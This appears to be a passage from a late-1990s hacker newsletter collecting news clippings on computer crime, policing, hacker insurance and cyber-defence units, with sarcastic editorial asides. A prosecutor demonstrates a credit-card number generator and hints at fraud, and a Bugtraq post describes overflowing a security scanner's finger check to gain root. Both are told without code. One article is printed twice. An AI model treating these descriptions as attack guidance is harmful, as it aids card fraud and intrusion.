Thackeray moved to Arizona in 1986 after beginning her career as a prosecutor in Philadelphia. She worked in the attorney general's office running an organised crime and racketeering unit that won a national reputation for its technical ability in the fight against hackers. She was also the mastermind behind Operation Sundevil (see panel, overleaf), the first nationally coordinated raid on hackers. But then democracy took a turn and she became a victim of the strange process by which Americans elect their most senior law officers. Her boss lost the race to be elected attorney general. The victor wasn't interested in technology so 12 people got sacked, including Thackeray.

Taking a break from the slide show for a moment, she shows me a little number‑generating program stored on her laptop. It generates random numbers for Visa cards. Give it the four‑digit code that identifies a card issuer and within minutes you'll have hundreds of false credit card numbers to play with. "Now supposing you had another little program that made the bank think these numbers were legitimate ‑ How much do you think you could make?" We go on‑line to see some of the hacker sites. Thackeray believes that the Web is making a bigger range of crimes much easier to commit. "In the future the good parts of the Internet will be bigger and more complex and available to more people and that's great. But this means all of those people will have victim potential. Thanks to the growth of the Web, one criminal can now do an unprecedented amount of damage, whether it's to corporations or to individual's feelings by threatening and stalking, spam attacks or just shutting down ISPs.

"We have had four incidents in the first six months of this year. These people are attacking not just the little local service provider, but also some of the 19 Internet backbone carriers. They're absolutely ruthless and don't care who they hurt. In a case in Tucson, tens of thousands of users were shut down just because some person with an adolescent level of maturity decided he was mad at another ISP, so he took all of its customers off‑line. It's frighteningly easy to do and only took one broadcast message. All the routers that run the Internet shake hands periodically, so if you can infect one router, given time it will infect the entire world. And that's what happened. It took just a few days for the entire world to believe that this service provider, and all its customers, didn't exist." Not only is the Web host to a whole new range of crimes, it's also home to a brand new band of weirdos. "Unfortunately the Web is the best playground ever invented for sociopaths. They can hide, are anonymous and can't be traced. Nobody is in charge and it gives them that power rush that psychologists say is what they live off. It's their whole life's breath. It's the chest‑beating power surge of being able to do it and get away with it. We are just seeing more acts of wanton destruction simply for the sake of showing that you can do it."

Does she think this new generation of Web hackers is a real threat to people? "Every baby in America knows the 911 emergency system. If mommy's drowning in the pool, we've had three‑year‑ olds save her life by dialling 911. The hackers have attacked the 911 system and they're still doing it. That's not for knowledge or for glory, that's just an act of vicious ego."

Rat's nests and technocrap

Personal liberty is taken very seriously in the western United States. No‑one likes the idea of "big government" interfering with people's lives. Even hackers gain sympathy when they complain of harassment by police and prosecutors. Some say they've been victimised by the authorities.

Thackeray denies this. "It's a hacker myth that we take away their computers and sit on them forever. In one case we came across, the guy had over 12Gb of data stored on his system ‑ that's equivalent to 15,000 paperback books. It's better that we seize all that material ‑ you might have love letters, cook book recipes and your extortion kidnapping letter on the same disk. We can't take one without taking the other. We cannot physically copy that volume. It is far easier for us to take computers away than for us to camp out in your house for six months."

A hovel of a bedroom fills the projector screen. Coke cans everywhere, rubbish dotted across an unmade bed. In the corner sits a naked computer, stripped of casing, wires exposed. Thackeray calls it a rat's nest. She has hundreds of similar photos. "Back in Philadelphia I began collecting pictures of computers with their wires hanging out. When the geeks speak to a jury we call the language they use technocrap. What you have here is the physical version of technocrap." She gestures at the screen. Typically hackers will set up a stereo system within easy reach of the computer, and often a drinks cabinet as well.

A recent innovation is the home network. "We've come up against four or five houses recently where people have had multiple systems networked in the house. And that's even without running a bulletin board. When we get lucky and we're fast enough we can find the guilty computer ‑ but the hardest part of the job is finding the brain behind the computer. To find that person is good old‑ fashioned low‑tech police work."

Thackeray's team face another new problem caused by the huge increase in storage capacity. "In the computer situation no one throws anything out. That makes our life more difficult. We don't want to read the last five year's worth of your e‑mail, life's too short and frankly it's not that interesting. But sometimes we're searching for one piece of evidence and it's buried in a huge volume of stuff so what else can we do?"

Tracking or trailing?

The slide show draws to an end. We amble downstairs to the office of another investigator. He shows us an array of hacker memorabilia on his computer. I ask Gail about the future. She believes that unless there's a fundamental change in the way police forces treat computer crime, there is no hope at all. "The police departments and prosecutors around the country are, frankly, paramilitary organisations with very bureaucratic, layered decision‑ making processes. They see the need for more training in gangs; they don't see the need for more training in computers because the management came out of the knife and gun club.

"Police management is dominated by the physical crimes people. We've got to dissolve some of these barriers. When we move we need to move fast like the Texas rangers ‑ both legally and bureaucratically we're just not there yet. When I started 20 years ago law enforcement was behind the computer crime wave. We're farther behind today than we were then."

Matt McGrath is an investigative journalist who works for Radio 5.

0x4>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Justice Department to Hire Computer Hackers

Source: Business Week

Date: Aug. 6, 1998

Wanted: Hackers to break into the Justice Dept. computer network. Under a program known as Operation Get Cracking, the Justice Dept. sought members of the computer underground at late July's Def Con hackers' conference in Las Vegas, BUSINESS WEEK reports in its August 17 issue. Attorney General Janet Reno has quietly committed $1 million to hire up to 16 hackers to test the Department's networks, says a source at Justice, which would neither confirm nor deny the operation.

[Uh... huh... I won't go there.]

0x5>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: A Cracker‑Proofing Guarantee

Source: Wired News Report

Date: 9:05 a.m. 5.Oct.98.PDT

CIGNA Secure Systems Insurance is offering a US$25 million liability policy designed to cover losses resulting from attacks by computer crackers, the company said Monday.

To qualify for coverage, a client must secure its systems or pass inspection from a CIGNA‑approved security‑management company. Otherwise, potential clients are encouraged to contract with security‑management company NetSolve, in conjunction with Cisco's NetRanger intrusion‑detection software, which is pre‑approved by CIGNA.

CIGNA Secure Systems Insurance provides coverage for theft of money, securities, and property; for damage done by crackers to a firm's data or software; and for business losses caused by attacks on a company's computer systems.

[And how do they put value on your information? Who audits the system to make sure you are telling the truth about your policy?]

A recent survey by the Computer Security Institute and the FBI found a 36 percent increase from the previous year in losses stemming from computer‑security breaches. However, traditional property and liability insurance policies do not address these risks, according to CIGNA.

"It's a nice marketing ploy," said computer security consultant Pete Shiply. "But if someone is concentrating on breaking into a site, eventually they will get in. There is no such thing as a secure site; security is economics, it's a question of money and how much you want to invest."

Asked what kind of intrusion might lead to a $25 million claim, Shiply was skeptical.

"While I haven't read the agreements, I am pretty sure you would not get that much," he said. "You would have to prove losses approaching that figure, and that will likely be a difficult thing to do."

0x6>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: First‑Ever Insurance Against Hackers

Source: Reuters

Date: 14‑JUN‑98

By: Therese Poletti

A computer security firm is so certain of its security prowess that it is offering to protect its customers with the first‑ever hacker insurance, in the event a customer is successfully invaded by hackers.

[So secure, hackers dumped logs of one of the ICSA's machines being hacked to several IRC channels. Do as we say, not as we do.]

ICSA Inc., the International Computer Security Association, is now offering as part of its TruSecure service, insurance against hacker attacks. ISCA will pay up to $250,000 if a customer's network is hacked into, after it has followed the TruSecure criteria.

``This is the first hacker‑related insurance,'' said Peter Tibbett, president of the ICSA, based in Carlisle, Penn. ``It puts our money where our mouth is.''

ICSA sells its TruSecure service for $40,000 a year. The service, which it has been offering for several years, is a series of steps, methods and procedures that an ICSA client must adhere to. Some steps are simple, common sense procedures, such as having the server which hosts your company's Web site inside a locked room.

[You pay 40,000 a year, for up to 250,000 insurance. Pretty high premium. 40,000 will buy you a lot of security consulting and additional security precautions.]

Other steps are more complicated, such as the requirement to have a secure firewall around an internal network.

But the ICSA does not sell products. Instead, it recommends a whole range of software that it has approved as secure and meets its standards, through open meetings and debates, with all its members, many of whom develop security products.

Then, ICSA tests a client's security by using typical hacker methods, through its 100 or so employees, none of whom are reformed hackers. ICSA believes, along with executives at International Business Machines Corp. who perform ``ethical'' hacking on its customers, that there is no such thing as a reformed hacker.

``We spray them with hacker tools and see where their vulnerabilities are,'' Tibbett said, referring to many of the widely‑used hacker programs that are available over the Internet or shared among hackers. ``The average site took about two weeks to get to the place where they meet all our requirements.''

After ICSA completes a six‑step process to test and improve a company's security, the customer is deemed secure and will then receive insurance.

The ICSA said it will pay its customers if they fall prey to a hacker, even if they are not financially harmed from the attack.

``Whether you lose money or not, we will pay,'' Tibbett said. ''We believe that we reduce the risk dramatically ... Yes, we expect to write some checks, but we don't expect to write very many.''

Tibbett likens the ICSA to the Center for Disease Control, because it tracks all hacker attacks and tests every hacker tool and virus its progammers can find. The ICSA also is known for its emergency response center, which tracks the fallout from known computer viruses and helps companies in a crisis.

``Good enough is never going to be perfect,'' Tibbett said. ''But we have a motivation to improve our service. If we have to write a check when someone gets hacked, it gives us another emphasis.''

The company said it is partnering with major nationwide insurance carriers who recognize the ICSA TruSecure certification as a requirement for hacker policies.

0x7>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: New Unit to Combat High‑Tech Crime

By: Yomiuri Shimbun

Date: June 05, 1998

The National Police Agency plans to create a special "cyberpolice" unit to combat the rise in high‑tech crimes involving the Internet and other new technologies, the agency said Wednesday in announcing its new high‑tech crime program. Information will be exchanged with its investigative counterparts overseas on a 24‑hour‑a‑day basis, it said. The program will include special high‑tech crime squads at the prefectural level, and information security advisers at prefectural police stations who will liaise directly with the private sector, with which the NPA wants to coordinate its efforts. The agency will also request a budget for a "hacker‑proof" supercomputer next fiscal year.

The NPA recorded 263 high‑tech crimes last year‑eight times more than in 1992. High‑tech crime was on the agenda of the Group of Eight summit meeting in Britain last month, where the eight leaders agreed to report on their efforts to combat high‑tech crime at the G‑8 summit in Cologne, Germany, next year. The NPA said Japan's current laws are inadequate and it would push to have new laws enacted to limit access to computers by those with criminal intent.

0x8>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: First 'Cyber Warrior' Unit is Poised for Operational Status By: Bryan Bender

Date: June 17 1998

The US Department of Defense (DoD) plans to stand up its first operational unit of `cyber warriors' by September to safeguard against and respond to computer attacks aimed at the US military, according to defence officials.

The Joint Chiefs of Staff (JCS) is assessing several proposals for a Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is expected to make a recommendation to Defense Secretary William Cohen, who will have direct authority over the organisation, in the near future.

The JCS has a computer attack response cell within its directorate of operations, but it "has not been codified as a warfighting entity," said JCS spokesman Lt Cdr Jim Brooks.

The task force, which will conduct defensive rather than offensive information operations, will have the necessary authority to take action in the event of information attacks. Officials are determining how the unit should be structured, where it should be and how much it will cost.

They say that the new unit will have to have a high level of co‑ordination with other federal agencies, particularly the Federal Bureau of Investigation, given the constitutional limitations placed on the US armed forces in the area of law enforcement.

JCS sources add that the task force is only expected to be an interim solution to the rising need for a specialised unit to counter incidents of cyber warfare. A permanent unit, possibly under the authority of one of the US warfighting commanders‑in‑chief, is planned for the future.

The Pentagon has seen a steep rise in computer attacks and other attempts either to access or contaminate DoD information networks. Art Money, the DoD's senior civilian overseeing computer operations, said on 10 June that the Pentagon experiences an average of 60 cyber attacks per week.

The US Department of Defense (DoD) plans to stand up its first operational unit of `cyber warriors' by September to safeguard against and respond to computer attacks aimed at the US military, according to defence officials.

The Joint Chiefs of Staff (JCS) is assessing several proposals for a Computer Defense Joint Task Force and JCS chairman Gen Henry Shelton is expected to make a recommendation to Defense Secretary William Cohen, who will have direct authority over the organisation, in the near future.

The JCS has a computer attack response cell within its directorate of operations, but it "has not been codified as a warfighting entity," said JCS spokesman Lt Cdr Jim Brooks.

The task force, which will conduct defensive rather than offensive information operations, will have the necessary authority to take action in the event of information attacks. Officials are determining how the unit should be structured, where it should be and how much it will cost.

They say that the new unit will have to have a high level of co‑ordination with other federal agencies, particularly the Federal Bureau of Investigation, given the constitutional limitations placed on the US armed forces in the area of law enforcement.

JCS sources add that the task force is only expected to be an interim solution to the rising need for a specialised unit to counter incidents of cyber warfare. A permanent unit, possibly under the authority of one of the US warfighting commanders‑in‑chief, is planned for the future.

The Pentagon has seen a steep rise in computer attacks and other attempts either to access or contaminate DoD information networks. Art Money, the DoD's senior civilian overseeing computer operations, said on 10 June that the Pentagon experiences an average of 60 cyber attacks per week.

0x9>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Tracking Global Cybercrime

By: Claudia Graziano

Date: 4:00 a.m. 25.Sep.98.PDT

The International Chamber of Commerce said Thursday that it will open a new division to help companies around the world protect themselves against cybercrime.

"Basically, any scams you can do terrestrially you can do even easier in cyberspace," said Eric Ellen, the chamber's executive director, who will take the reins of the new division.

[Oooh.. 'terrestrially'.. three point word.]

The London‑based unit will work with Interpol to fight heavy‑duty technological thievery ‑‑ such as money laundering, industrial espionage, and investment fraud ‑‑ as opposed to small‑time consumer scams like selling nonexistent goods online.

Interpol chief Ray Kendall said the international police agency had been pushing for years for such an alliance with the private sector since it could move more quickly than governments in purchasing the equipment needed to investigate high‑tech crime.

The cybercrime unit will provide the 7,000 International Chamber of Commerce members with information about how and where the myriad types of crimes are committed on the Net and what businesses can do to protect themselves against crackers and fraud artists.

A Federal Trade Commission official praised the commission's efforts to raise domestic awareness of Internet fraud.

"We welcome any international effort to crack down on cyberfraud, because crime and fraud perpetrated against consumers or businesses only undermines the electronic marketplace and stifles the great opportunities available through Internet commerce," said Paul Luehr, an assistant director at the commission.

The chamber said it hopes to persuade governments, including the United States, to wipe out restrictions that limit the spread and availability of strong encryption algorithms.

That position flies in the face of US law enforcement, which currently limits the export of powerful crypto on the grounds that it might be used by terrorists. Meanwhile, US crypto advocates have long said that ciphers are better suited to fighting crime than hiding it.

"There will be some lobbying on our part, but many businesses can't wait for laws," Ellen said. "Crimes cross international borders, yet existing laws [against cybercrime] are national."

The chamber's cybercrime unit will meet regularly with Interpol in Lyon, France, to exchange information and intelligence on cybercrime and its perpetrators.

Additionally, the chamber division plans to exchange information with the FBI's National Infrastructure Protection Center and the FBI's National Security Awareness unit, which looks after the interests of US businesses.

Headquartered in Paris, the International Chamber of Commerce establishes rules that govern the conduct of businesses worldwide. The nonprofit group holds top‑level consultative status with the United Nations, where it puts forward the views of business in countries around the world.

0xa>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: FBI Opens High‑Tech Crisis Center

By: Michael J. Sniffen

Date: Friday, November 20, 1998; 9:29 a.m. EST

Entering its 91st year with new duties that extend around the world, the FBI today opened a high‑tech, $20 million operations center nearly the size of a football field to allow headquarters to manage up to five crises at once.

The new Strategic Information and Operations Center ‑‑ called ``sigh‑ock'' after its initials ‑‑ has 35 separate rooms that can seat up 450 people total and covers 40,000 square feet on the fifth floor of FBI headquarters on Pennsylvania Avenue. It is 10 times bigger than its two‑decade‑old predecessor that could, with difficulty, handle two crises simultaneously.

Bureau officials became convinced the old SIOC was outmoded in the summer of 1996 when they tried to manage investigations of the Olympic bombing in Atlanta, the explosion of TWA 800 and the Khobar Towers truck‑bombing in Saudi Arabia at the same time.

``There weren't enough rooms or enough telephones,'' FBI Director Louis J. Freeh said. ``We had people working at desks in the hallway outside and reading top secret material in the vending area across the hall.''

The supersecret facility with no windows to the street, or even any outside walls, has a private ribbon‑cutting today with former President George Bush as the FBI celebrates its 90th birthday.

Introducing the new SIOC to reporters for a one‑time‑only tour, Freeh said it was emblematic of the bureau's expanded responsibilities and technology.

He noted that the bureau's fastest growing component, its Counterterrorism Center, is arrayed in the offices around the SIOC ‑‑ as is its violent crime unit, which handles domestic attacks such as the Oklahoma City bombing or hijackings.

Much of the counterterrorism work now extends overseas, to Saudi Arabia where U.S. soldiers have been killed in two bombings and East Africa where two U.S. embassies were bombed, for example. In the last five years, Freeh said, the FBI has nearly doubled its legal attaches working abroad ‑‑ to 32 cities now. Eight more are to open soon ‑‑ in Almaty, Kazakhstan; Ankara, Turkey; Brasilia, Brazil; Copenhagen, Denmark; Prague, Czech Republic; Santo Domingo, Dominican Republic; Singapore and Seoul, Korea.

The computers at desks throughout the center and the 5‑by‑15‑foot video screens on the walls of almost every room can display not only U.S. television broadcasts but also local TV channels from foreign countries. The bank of red‑lettered digital clocks in each room can display the local time in five or six locations.

The FBI's new National Infrastructure Protection Center, tasked to prevent and respond to attacks on government or private computer systems that keep America running, will have three representatives on each of the 10‑member watch teams that staff the center at all times. Also present around the clock: a representative of the National Security Agency's Cryptologic Security Group to provide information from the government's worldwide electronic eavesdropping.

Behind a series of blond wood doors, the complex warren of workrooms, many of which can be combined or divided as need requires, have light gray carpets, paler gray walls and dark gray metal desks with white plastic tops. The desks are fixed in place only in two control rooms that manage the flow of information to each room; elsewhere they are modular and can be rearranged at will over floor‑mounted electric and telephone plugs. Interior windows allow views into conference rooms or the SIOC's hallways.

Ron Wilcox, deputy chief of the SIOC, said the compartmented areas would allow bureau agents ``to work in one room with District of Columbia police on a local kidnapping while another room works on a terrorist bombing with top secret data.''

Each work station can receive data from three sets of phone and computer links: unclassified, secret and top secret‑sensitive compartmented information.

While the center will draw information from around the world, information will not leave without permission. The center is shielded to prevent outside detection of electronic emissions, so cell phones do not work inside it.

In Operations Group D and G, the largest room with capacity for 118 people, there are printers with yard‑wide rolls of paper to print out city maps. So the room will not be overcome with noise, the sound from video screens is broadcast silently from black boxes around the room to headphone sets available to each worker.

The chairs, most on wheels, have arm rests. They are blue‑green cloth in the workrooms; gray leather in the Executive Briefing Room, the center's second largest room, with three blond wood semicircles seating 36 and fixed theater seats at the back for 50 more.

Rather than increasing the burden on field agents to report to Washington, Wilcox said the new center should reduce such demands, because ``we will offer one‑stop shopping for headquarters. Field agents can report to us, and we will be responsible for making sure everybody is alerted who should be.''

0xb>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Navy fights new hack method

By: Tim Clark

Source: CNET NEWS.COM

Hackers are banding together across the globe to mount low‑visibility attacks in an effort to sneak under the radar of security specialists and intrusion detection software, a U.S. Navy network security team said today.

Coordinated attacks from up to 15 different locations on several continents have been detected, and Navy experts believe that the attackers garner information by probing Navy Web sites and then share it among themselves.

"These new patterns are really hard to decipher‑‑you need expert forensics to get the smoking gun," said Stephen Northcutt, head of the Shadow intrusion detection team at the Naval Surface Warfare Center. "To know what's really happening will require law enforcement to get hold of the hackers' code so we can disassemble it."

The new method involves sending as few as two suspicious probes per hour to a host computer, a level of interest that usually won't be detected by standard countermeasures. But by pooling information learned from those probes, hackers can garner considerable knowledge about a site.

0xc>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Pentagon Blocks DoS Attack

Source: Newsbytes via NewsEdge

The Pentagon launched an attack applet of its own this month to thwart a denial‑of‑service attack against its DefenseLink Web site at http://www.defenselink.mil .

DefenseLink was one of three sites targeted on Sept. 7 by a group that calls itself the Electronic Disturbance Theater. The group claimed to be acting in solidarity with Zapatista rebels in the Mexican state of Chiapas to protest Defense Department funding of the School of the Americas.

Other target Web sites belonged to Germany's Frankfurt Stock Exchange and Mexican President Ernesto Zedillo.

The theater group's Web site referred to the attacks as a virtual sit‑ in. Visitors to the group's site received a hostile Java applet designed to keep reloading the DefenseLink and other Web sites automatically as long as the the visitors' browsers were open.

Multiple simultaneous reload requests can overwhelm a server, but the attacks apparently had little impact, DOD officials said.

"Our support staff certainly was aware of the planned attack," Pentagon spokeswoman Susan Hansen said. "They took preventive measures to thwart the attack so that DefenseLink was available."

Hansen would not specify the preventive measures, but the theater group reported, and a DOD official confirmed, that the Pentagon aimed its own hostile applet back at the attackers.

Browsers "got back a message saying the (theater group's) server wasn't available," Hansen said.

The Frankfurt exchange reported the reload requests had little or no impact on its server, either.

The theater group has promised a second round of attacks, known as FloodNet, between Sept. 16, Mexican Independence Day, and Oct. 12, Columbus Day.

Representatives of security software vendor Finjan Inc. of Santa Clara, Calif., said the attacks marked the first time Java applets have been used in a political protest, although the theater group has claimed participation in other virtual sit‑ins against Zedillo and President Clinton since April.

The group is a throwback to the 1960s guerrilla theater of the Yippies, who once hosted an attempt to mentally levitate the Pentagon. The theater group's Web site at http://www.nyu.edu/projects/wray/ecd.html advocates

electronic civil disobedience. Its attempted Pentagon attack was part of Swarm, a project launched at the Ars Electronic Festival on InfoWar in Linz, Austria.

The group's announced activities, in addition to the unspecified attacks planned through mid‑October, include radio protests against the Federal Communications Commission on Oct. 4 and 5.

The Swarm attacks reportedly did not meet with much approval among hackers, who view FloodNet as an abuse of network resources.

0xd>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Hackers Elude Accelerator Center Staff

Source: San Francisco Chronicle

Date: 06/11/98

Officials at Stanford Linear Accelerator Center are rethinking the openness of their computer system a week after hackers forced them to shut down outside access to the federal research facility's computer network.

External access to the center's computer system was suspended after staff members failed to catch hackers who had intercepted a password and were moving in and out of more than 30 of the facility's Unix servers.

"We traced the hackers around to the point that we weren't gaining on them," said center spokeswoman P.A. Moore. "The person or persons were successful in covering their tracks and in getting into and out of accounts."

It is still unclear how the hackers got access to a password and the system, Moore said.

But as a result of the breach, she said, officials are rethinking the center's policy of being an open scientific research facility. She said proposals are being considered to restrict the center's computer system.

"A number of options are being considered and they range from very mild to more severe," she said.

Moore said that most of the center's Internet services were restored Tuesday after security measures were put in place and that staff members were instructed to change their passwords.

The shutdown did not create any serious problems, although it caused delays in many projects and denied researchers from all over the world access to the center's Web site, Moore said.

Established in 1962, the Linear Accelerator Center is funded by the Department of Energy and operated by Stanford University. With a staff of about 1,300 and 2,000 researchers worldwide, the center conducts basic research on atomic and subatomic physics. The center's researchers use colliders to study matter at the atomic level. "Mostly, we've lost time on experiments," Moore said. "We do not see that any data has been compromised. It's more of a setback than a major disaster."

But she said future break‑ins will remain a problem for open scientific facility. The center does not conduct any classified research, she said.

"Computer hackers are very sophisticated in terms of their knowledge and ease in traveling through cyberspace," she said. "We're vulnerable. By being an open facility, we are a target for vandals." Stephen Hansen, a Stanford University computer security officer, said campus system break‑ins average at least two a month.

A common tool used by hackers is a computer program dubbed "the sniffer," which allows intruders to decode data in a system, specifically passwords and log‑on names.

"Sniffers are quite dangerous," Hansen said. "If they are not caught right away, they can lead to break‑ins to thousands of accounts, not just locally, but across the Internet."

To minimize such break‑ins, he said, more system operators are using encryption programs that prevent hackers from determining sign‑on names and passwords. However, this is not an easy option for the Stanford center because encryption programs are prohibited in some countries, including France, where a number of center‑affiliated researchers live.

0xe>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Cyberattacks leave feds chasing 'vapor'

By: Bob Brewin (antenna@fcw.com)

Top administration officials last week warned that the United States lacks the capability to quickly identify the nature and scope of a continuing series of cyberattacks against both federal and private systems that support the country's telecommunications, financial and energy critical infrastructures.

During a series of congressional hearings and in speeches last week, federal security and information technology officials made it clear that they anticipate a powerful ''Achilles' heel'' cyberattack that could cripple the nation's vital systems because the government lacks the ability to defend against such an attack.

John Hamre, deputy secretary of Defense, told the House National Security Committee that such a paralyzing cyberattack against critical infrastructures is inevitable. "There will be an electronic attack sometime in our future," he said. "Should an attack come, it will likely not be aimed at just military targets but at civilian [targets] as well." Administration officials also reported that the attacks continue unabated.

Art Money, who is slated to take over as assistant secretary of Defense for command, control, communications and intelligence later this year, said in a speech at a conference in Washington, D.C., last week that DOD "averages 60 intrusions a week" into its computer systems. An official of the FBI's new National Infrastructure Protection Center (NIPC) said the office is investigating a "half dozen" incidents, describing them as ''substantial.''

But security agencies said the process of chasing down and identifying attackers is frustrating, as in the case of the highly publicized series of hacks against DOD computers last February. The FBI and numerous DOD agencies worked together to track down the hackers, but the agencies could not "identify [until] the following week" the source and type of attack, Ellie Padgett, deputy chief of the National Security Agency, told the Senate Judiciary Committee's Subcommittee on Technology, Terrorism and Government Information.

Padgett said it would still take the agency a "matter of days" to determine if an attack was strategic or just a teenage prank.

Michael Vatis, director of NIPC, told the committee, "In most cyberattacks, it's impossible to know the identity of the penetrator," be it teenage hackers, criminals or a strategic attack by a hostile nation. Vatis, in an interview, likened chasing down hackers to "tracking vapor."

Barry Collin, a senior researcher with the Institute for Security and Intelligence, said it will become increasingly difficult to identify strategic attacks because a nation that is sophisticated enough to mount a cyberwar against the United States also will have the sophistication to disguise that effort as a hacker attack mounted by teenagers. "They can make it appear as if it is a game instead of a real attack," he said.

A "Predatory Phase"

Also frustrating security experts is the possibility that attacks will be carried out in quick hits over a long period of time, Hamre said. "The predatory phase could take place over several years, making it hard to collate curious, seemingly unrelated events into a coherent picture," he said. These long‑term attacks "could take place over multiple jurisdictions ‑ [for example] power grids or air traffic control nodes in various states. Our knowledge of the origin of such attacks and their sponsorship is likely to be imprecise."

Hamre also presented classified testimony to a joint closed hearing of the House National Security Committee's Military Procurement and the Military Research and Development subcommittees. Hamre may have presented more detailed evidence of computer vulnerabilities, based on remarks by Rep. Curt Weldon (R.‑Pa.), chairman of the Military Research and Development Subcommittee, who called Hamre's classified testimony "the most provocative briefing" he had ever received during his 12 years in Congress.

The Clinton administration hopes to protect the critical infrastructures with recently formed security organizations, including the National Infrastructure Assurance Plan, the NSA Network Incident Analysis Cell and the Critical Infrastructure Assurance Office in the Commerce Department. CIAO will spearhead multiple‑agency efforts to develop better policies, processes, procedures and systems to detect and deter attacks.

The administration also plans to heavily involve the private sector banks, power companies and railroad companies ‑ in "public/private partnerships'' to protect the infrastructure.

Members of Congress on both sides of the Hill praised the administration's initial efforts, but they also expressed some skepticism about the approach. Sen. Diane Feinstein (D‑Calif.) said she "wondered if the nexus between the public and private sectors will work."

Rep. Herbert Bateman (R‑Va.) said he is "deeply skeptical" about placing the CIAO in Commerce rather than in DOD.

Bateman said Commerce's willingness to allow the exportation of critical satellite and rocketry information to the Chinese left him "unconvinced" that Commerce had the same "sensitivity" as the Pentagon has to the requirements of national security.

0xf>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Congress Attacks Cyber Defense Funds

Source: Defense News

Date: 6/16/98

U.S. Congress Attacks Cyber Defense Funds By George I. Seffers Defense News Staff Writer WASHINGTON‑‑ Congress is taking millions of dollars from the war chest intended to protect critical U.S. infrastructure from potentially crippling cyber attacks, according to Defense Department and White House sources. The House Appropriations Committee deleted the entire $69.9 million the Defense Department had requested for infrastructure protection in its 1999 budget. That funding should be restored, Linton Wells, principal deputy for the assistant secretary of defense for command, control, communications and intelligence, told lawmakers at a June 11 hearing here on protecting national infrastructures‑telecommunications, banking and finance, energy, transportation, and essential government services‑‑ from cyber attack.

[So they make all these new groups to fight cybercrime.. then this?]

0x10>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: Mudge on Security Vendors

From: Bugtraq

In the SAFER bulletin they mention compromising software that was explicitly installed as an additional security measure.

While joking around I was mentioning to some colleagues about the attrocity of some (most) of the security related products out there right now. Not in what they are claiming to accomplish but in the lack of sound coding in their own products. I thought it was pretty much understood but the amazed looks on their faces told me otherwise. So I figured I might point this out in case that was not an isolated assumption that these people had. Hopefuly I'm already preaching to the choir on Bugtraq.

[Note ‑ though I explicitly mention ISS and Axent they are by no means any worse or better than others not mentioned here... in addition I am referring to older versions of their products. I have not spent time looking at their most current releases to verify whether things have improved or gotten worse. Please take this for what it is meant to be ‑ a general rant about the security vendor world as it stands... not an attack against particular vendors]

A few real world cases:

A few revs back in ISS' commercial security scanner there were several vulnerabilities. One particular company contracted me to come in and give them a report on the level of competance that an auditing company they had hired were at.

Sure enough, when the auditor scanned the box that we had setup they were using ISS (version 3? my memory isn't serving me very well right now). Upon an attempt to connect to tcp/79 (fingerd) we fed them back a bunch of 'garbage' (well, you know... that garbage that is comprised of a long run of NOPs followed by machine dependent opcodes and operands :). After a few tries, root on the scanning machine was handed out as there were no checks done on the data that was being retrieved (or more accurately assumptions were being made about the length).

...

Axent swore up and down that their ESM systems were communicating via DES encrypted channels. In reality the communications were simply XOR'd and they would send the progressive XOR key every X packets. The DES components were slated for the 'next rev'. Doesn't matter ‑ the point is that they shouldn't have done the XOR scheme to begin with when the purpose of the communications between the client and server are "lists" of vulnerabilities on said machines. Not something you want advertised to anyone passivle monitoring.

...

I don't know how many "security" packages I've looked at that do outrageously stupid things like chmod(777), popen(), or system() even! Even if the program is running non‑priveledged and is designed to be on a system that does not have multiple users it is a demonstration that the people writing the code to protect your systems (often at outrageous price tags!) seem incapable of demonstrating sane coding techniques themselves.

How is one supposed to get 'warm fuzzies' that one is having their systems "protected" when the products doing the protecting show no security competence.

Vendors listen up!

.mudge

0x11>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Title: More delays for Mitnick trial

By: Kevin Poulsen

Date: November 25, 1998 3:33 PM PT

Source: ZDNet

Accusing government attorneys of stalling efforts to collect key documents for his case, the defense attorney representing Kevin Mitnick, famed criminal hacker, requested a continuance on Tuesday. According to Donald Randolph's motion, the government missed a court‑ordered deadline to provide the defense with copies of prosecution witnesses statements. The statements were finally handed over on Tuesday, almost a month late.

In addition, the prosecution is almost a week behind in handing over a list of evidence to the defense. Some electronic evidence is being withheld completely, claimed Randolph.

Prosecution delays

"Due to the government's significant delay in producing discovery as ordered by this court, and due to its continuing failure to produce certain discoverable evidence altogether, the defense cannot competently complete its investigations and prepare for trial in this matter absent a reasonable continuance in the trial date," stated the motion.

The original trial was scheduled for Jan. 19, 1999.

